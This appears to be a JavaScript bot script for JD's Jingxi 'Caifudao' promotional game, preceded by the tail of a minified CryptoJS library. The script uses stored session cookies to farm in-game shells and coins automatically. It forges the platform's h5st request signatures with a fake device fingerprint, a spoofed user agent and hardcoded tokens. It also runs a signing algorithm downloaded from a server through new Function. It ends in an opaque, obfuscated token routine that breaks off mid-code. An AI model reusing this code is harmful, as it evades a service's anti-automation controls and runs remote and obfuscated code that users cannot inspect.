c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env("京喜财富岛热气球"); +const JD_API_HOST = "https://m.jingxi.com/"; +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +$.showLog = $.getdata("cfd_showLog") ? $.getdata("cfd_showLog") === "true" : false; +$.notifyTime = $.getdata("cfd_notifyTime"); +$.result = []; +$.shareCodes = []; +let cookiesArr = [], cookie = '', token = '', UA, UAInfo = {}; +$.appId = "92a36"; +$.hot = {} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + let count = 0 + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo(); + await $.wait(1000) + do { + count++ + console.log(`\n============开始第${count}次挂机=============`) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.nickName = ''; + $.isLogin = true; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + $.info = {} + if (count === 1) { + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + UAInfo[$.UserName] = UA + $.hot[$.UserName] = false + } else { + UA = UAInfo[$.UserName] + } + // token = await getJxToken() + if ($.hot[$.UserName]) { + console.log(`操作过于频繁,跳过运行`) + continue + } + await cfd(); + let time = process.env.CFD_LOOP_SLEEPTIME ? (process.env.CFD_LOOP_SLEEPTIME * 1 > 1000 ? process.env.CFD_LOOP_SLEEPTIME : process.env.CFD_LOOP_SLEEPTIME * 1000) : 5000 + await $.wait(time) + } + } + } while (count < 25) +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()); + +async function cfd() { + try { + await queryshell() + } catch (e) { + $.logErr(e) + } +} + +// 卖贝壳 +async function querystorageroom() { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/querystorageroom`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} querystorageroom API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + console.log(`\n卖贝壳`) + let bags = [] + for (let key of Object.keys(data.Data.Office)) { + let vo = data.Data.Office[key] + bags.push(vo.dwType) + bags.push(vo.dwCount) + } + if (bags.length !== 0) { + let strTypeCnt = '' + for (let j = 0; j < bags.length; j++) { + if (j % 2 === 0) { + strTypeCnt += `${bags[j]}:` + } else { + strTypeCnt += `${bags[j]}|` + } + } + await $.wait(3000) + await sellgoods(`strTypeCnt=${strTypeCnt}&dwSceneId=1`) + } else { + console.log(`背包是空的,快去捡贝壳吧\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function sellgoods(body) { + return new Promise((resolve) => { + $.get(taskUrl(`story/sellgoods`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} sellgoods API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + console.log(`贝壳出售成功:获得${data.Data.ddwCoin}金币 ${data.Data.ddwMoney}财富\n`) + } else { + console.log(`贝壳出售失败:${data.sErrMsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 捡贝壳 +async function queryshell() { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/queryshell`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} queryshell API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + $.canpick = true; + if (data.iRet === 0) { + for (let key of Object.keys(data.Data.NormShell)) { + let vo = data.Data.NormShell[key] + for (let j = 0; j < vo.dwNum && $.canpick; j++) { + await pickshell(`dwType=${vo.dwType}`) + await $.wait(3000) + } + if (!$.canpick) break + } + console.log('') + } else { + console.log(data.sErrMsg) + $.hot[$.UserName] = true + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +async function pickshell(body) { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/pickshell`, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} pickshell API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + let dwName + switch (data.Data.strFirstDesc) { + case '亲爱的岛主~♥七夕快乐鸭♥': + dwName = '爱心珍珠' + break + case '捡到珍珠了,看起来很贵的样子': + dwName = '小珍珠' + break + case '捡到小海螺了,做成项链一定很漂亮': + dwName = '小海螺' + break + case '把我放在耳边,就能听到大海的声音了~': + dwName = '大海螺' + break + case '只要诚心祈祷,愿望就会实现哦~': + dwName = '海星' + break + case '阳光下的小贝壳会像宝石一样,散发耀眼的光芒': + dwName = '小贝壳' + break + case '啊~我可不想被清蒸加蒜蓉': + dwName = '扇贝' + break + default: + break + } + if (data.iRet === 0) { + console.log(`捡贝壳成功:捡到了${dwName}`) + } else if (data.iRet === 5403 || data.sErrMsg === '这种小贝壳背包放不下啦,先去卖掉一些吧~') { + console.log(`捡贝壳失败:${data.sErrMsg}`) + await $.wait(3000) + await querystorageroom() + } else { + $.canpick = false; + console.log(`捡贝壳失败:${data.sErrMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_path, body = '', dwEnv = 7) { + let url = `${JD_API_HOST}jxbfd/${function_path}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}&ptag=7155.9.47${body ? `&${body}` : ''}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + return { + url, + headers: { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": UA, + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://st.jingxi.com/", + "Cookie": cookie + } + }; +} +function getStk(url) { + let arr = url.split('&').map(x => x.replace(/.*\?/, "").replace(/=.*/, "")) + return encodeURIComponent(arr.filter(x => x).sort().join(',')) +} +function randomString(e) { + e = e || 32; + let t = "0123456789abcdef", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "3.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + // console.log(`获取签名参数成功!`) + // console.log(`fp: ${$.fingerprint}`) + // console.log(`token: ${$.token}`) + // console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + // console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2), "".concat("3.0"), "".concat(time)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) +} +var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let 